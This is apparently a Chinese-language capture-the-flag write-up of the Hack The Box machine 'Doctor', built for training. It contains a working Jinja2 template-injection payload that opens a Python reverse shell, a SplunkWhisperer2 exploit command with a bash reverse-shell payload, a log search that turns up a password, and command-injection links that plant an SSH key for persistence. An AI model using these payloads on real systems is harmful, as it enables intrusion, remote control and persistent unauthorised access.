【Hack The Box】linux练习-- Doctor

HTB 学习笔记

【Hack The Box】linux练习-- Doctor


系列专栏:Hack The Box
欢迎关注点赞收藏⭐️留言
首发时间:2022年11月23日
作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 80
    • ssti
    • 8089
    • web->shuan
        • adm用户信息枚举
    • 回到8039页面
    • 知识拓展xss

【Hack The Box】linux练习-- Doctor_第1张图片

信息收集

22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

8089/tcp open ssl/http Splunkd httpd存在robots.txt

添加到host

80

Elizabeth Anderson, Hostpital Patients
[email protected].
添加doctors.htb到hosts

每到一个新的web,都要习惯性的响应检查标头

HTTP/1.1 200 OK
Date: Sun, 01 Nov 2020 10:21:07 GMT
Server: Werkzeug/1.0.1 Python/3.8.2
Content-Type: text/html; charset=utf-8
Vary: Cookie,Accept-Encoding
Connection: close
Content-Length: 248

server来自:Werkzeug
并且是一个python服务器

ssti

【Hack The Box】linux练习-- Doctor_第2张图片尝试登陆
都登陆不进去
那就注册一个
【Hack The Box】linux练习-- Doctor_第3张图片
页面源码发现了一个/archive
这个目录能看到一些帖子的信息,那么就与下面要利用的攻击方法呼应了

Python Web 服务器可能容易受到服务器端模板注入的攻击。 如果用户输入没有经过清理,它可以包含在模板代码中而不是作为文本处理,这可以允许远程代码执行。 OWASP 有一个 页面 详细介绍了背景。 一个简单的例子是一个基于 Python Jinja2 的服务器,它有一个像这样的路由:

如果用户提交一个获取请求,如 /hello?user={{7*7}},结果将是 Hello 49!, 因为 render函数将处理大括号内的文本。

在这里存在一个提交框
【Hack The Box】linux练习-- Doctor_第4张图片

【Hack The Box】linux练习-- Doctor_第5张图片体现在页面上的没有答案
【Hack The Box】linux练习-- Doctor_第6张图片

于是回到/archive,查看,因为我们刚才第一次审查的时候发现它会显示一些帖子信息

【Hack The Box】linux练习-- Doctor_第7张图片发现成功了这说明render函数起作用了
也就是可以使用

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"10.10.14.6\",443)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

用上面的,这个是验证成功了

也可以在payloadallthethings获取更多知识

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#exploit-the-ssti-by-calling-popen-without-guessing-the-offset

【Hack The Box】linux练习-- Doctor_第8张图片

8089

8089是https
扫出来的robots没有任何的信息
【Hack The Box】linux练习-- Doctor_第9张图片在页面顶端发现是splunk 8.0.5
网上搜索他可以直接提权的,但是需要我们凭据,因为我们刚才获取了一个shell,我将在那个用户中或许可以获得凭据
【Hack The Box】linux练习-- Doctor_第10张图片
【Hack The Box】linux练习-- Doctor_第11张图片存在一个通杀rce,也就是那个提权的rce

点击
【Hack The Box】linux练习-- Doctor_第12张图片找到了登录页面
【Hack The Box】linux练习-- Doctor_第13张图片我没有任何凭据
先放着

web->shuan

【Hack The Box】linux练习-- Doctor_第14张图片我们可以发现还有shuan用户,我们应该先得到它
【Hack The Box】linux练习-- Doctor_第15张图片

adm用户信息枚举

这很有趣,因为这意味着 web 可以读取日志文件。 我做了一个快速 grep通过字符串的所有日志 passw(应该同时获得“passwd”和“password”)

cd /var/log
grep -r passw . 2>/dev/null   

【Hack The Box】linux练习-- Doctor_第16张图片这个看起来像密码,我找了20分钟,只有这一个比较像

我要用它尝试登陆一下那个用户

Guitar123

回到8039页面

【Hack The Box】linux练习-- Doctor_第17张图片
我们的凭据有效

针对splunk
我们选择这个exp,

git clone https://github.com/cnotin/SplunkWhisperer2.git

python3 PySplunkWhisperer2_remote.py --host 10.129.2.21 --lhost 10.10.14.29 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.29/9999 0>&1'"

【Hack The Box】linux练习-- Doctor_第18张图片

知识拓展xss

每当我有一个在页面上显示回我的表单时,最好检查用户交互或跨站点脚本 (XSS)。 我创建了两个链接,并在正文中放置了一个脚本框:

Test <a href="http://10.10.14.29/title">title link</a>

Test <a href="http://10.10.14.29/content">body link</a>
<script> alert("Test")</script>

【Hack The Box】linux练习-- Doctor_第19张图片而这次我选择使用nc(记得kill python server)
【Hack The Box】linux练习-- Doctor_第20张图片
然后测试了连接之后再测试命令执行

Test <a href="http://10.10.14.29/$(whoami)">body link</a>
<script> alert("Test")</script>

【Hack The Box】linux练习-- Doctor_第21张图片
【Hack The Box】linux练习-- Doctor_第22张图片可以执行,那么就开始写入ssh

Test <a href="http://10.10.14.29/$(mkdir$IFS'/home/web/.ssh')">body link</a>
<script> alert("Test")</script>


ssh-keygen -t ed25519 -f id_rsaed25519
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali
Test <a href="http://10.10.14.29/$(echo$IFS'ssh-ed25519'$IFS'AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE'>'/home/web/.ssh/authorized_keys')">body link</a>
<script> alert("Test")</script>

【Hack The Box】linux练习-- Doctor_第23张图片

成功,然后和上面一样了

你可能感兴趣的:(Hack,The,Box,linux,服务器,网络)